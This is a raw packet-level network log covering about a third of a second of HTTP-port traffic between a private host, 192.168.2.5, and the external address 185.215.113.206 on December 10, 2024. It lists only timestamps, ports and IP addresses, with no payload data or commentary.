Dec 10, 2024 02:50:38.683723927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.683892012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.683933973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.684487104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.684595108 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.684645891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.685333014 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.685467958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.685518026 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.686196089 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.686285973 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.686340094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.687007904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.687050104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.687107086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.687828064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.687874079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.687932968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.688237906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.688657045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.688761950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.688801050 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.689457893 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.692279100 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.706263065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.706332922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.706398010 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.706582069 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.706722021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.706773043 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.707470894 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.707513094 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.707564116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.708239079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.708271980 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.708383083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.708420992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.709121943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.709207058 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.709258080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.709953070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.709999084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.710067987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.710793972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.710838079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.710872889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.711664915 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.711711884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.711792946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.711833954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.712433100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.712542057 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.712588072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.713279009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.713463068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.713500977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.714109898 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.714152098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.714217901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.714960098 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.715003014 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.715085030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.715460062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.715791941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.715905905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.715949059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.716620922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.716804981 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.716846943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.717452049 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.717494011 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.717544079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.718275070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.718318939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.718381882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.719105959 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.719151020 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.719216108 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.719253063 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.719937086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.720062017 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.720102072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.720762968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.720894098 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.720938921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.721597910 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.721637964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.721697092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.724239111 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.854685068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.854697943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.854818106 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.854974985 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.855127096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.855178118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.855813026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.855859041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.855974913 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.856271029 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.856662035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.856705904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.856734991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.856776953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.857506037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.857543945 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.857578993 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.858310938 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.858357906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.858407974 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.859150887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.859195948 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.859267950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.859311104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.859997034 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.860111952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.860155106 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.860797882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.860915899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.860961914 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.861643076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.861681938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.861757994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.862483025 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.862520933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.862585068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.863311052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.863363981 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.863385916 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.863420963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.864145994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.864239931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.864299059 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.864341974 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.864964962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.865006924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.865071058 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.865833998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.865873098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.865930080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.866635084 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.866678953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.866771936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.866816998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.867468119 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.867595911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.867635012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.868304968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.868402004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.868443012 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.869189024 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.869229078 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.869374990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.869998932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.870049953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.870091915 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.870798111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.870845079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.870902061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.870943069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.871635914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.871784925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.871829033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.872458935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.872576952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.872620106 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.873334885 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.873441935 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.873477936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.874135017 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.874269009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.874308109 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.874986887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.875021935 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.875072002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.875118017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.875813007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.875890017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.875925064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.875986099 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.876621008 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.876666069 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.876729965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.876776934 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.877453089 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.877499104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.877568007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.877607107 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.878308058 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.878359079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.878437042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.878477097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.879127979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.879179955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.879230022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.879291058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.879957914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.880006075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.880064011 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.880109072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.880800009 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.880906105 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.880944967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.881598949 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.883903027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.898283958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.898376942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.898425102 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.898468018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.898514032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.898600101 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.898706913 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.899338961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.899396896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.899425030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.899471045 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.900135040 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.900190115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.900250912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.900975943 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.901026964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.901067972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.901839018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.901886940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.901910067 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.901945114 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.902648926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.902703047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.902734995 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.902801037 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.903485060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.903650045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.903687954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.904335976 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.904431105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.904460907 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.904504061 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.905143976 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.905256987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.905282021 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.905297041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.905970097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.906102896 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.906137943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.906804085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.906922102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.906972885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.907644987 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.907689095 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.907737970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.908241987 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.908464909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.908505917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.908574104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.909015894 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.909312010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.909358025 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.909404039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.909507990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.910156012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.910209894 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.910243988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.910295963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.911000013 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.911067963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.911102057 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.911139965 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.911840916 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.911890984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.911950111 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.911993980 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.912641048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.912765026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.912817001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.913487911 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.913604021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.913660049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:38.914283991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:38.915002108 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.046895027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.047029972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.047111034 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.047291994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.047503948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.047559023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.048110008 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.048151970 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.048218966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.048949003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.049011946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.049046040 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051290035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051301003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051316977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051327944 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051331043 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.051351070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.051367998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.051430941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051471949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.051559925 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.051595926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.052265882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.052381039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.052453995 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.053092957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.053235054 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.053277969 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.053925991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.053967953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.054040909 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.054768085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.054809093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.054908991 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.055599928 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.055645943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.055723906 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.055762053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.056427956 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.056564093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.056608915 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.057245970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.057363033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.057404041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.058077097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.058201075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.058202982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.058243990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.058913946 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.058968067 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.059022903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.059057951 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.059731960 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.059781075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.059849977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.059909105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.060586929 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.060626984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.060736895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.061430931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.061472893 CET	49763	80	192.168.2.5	185.215.113.206
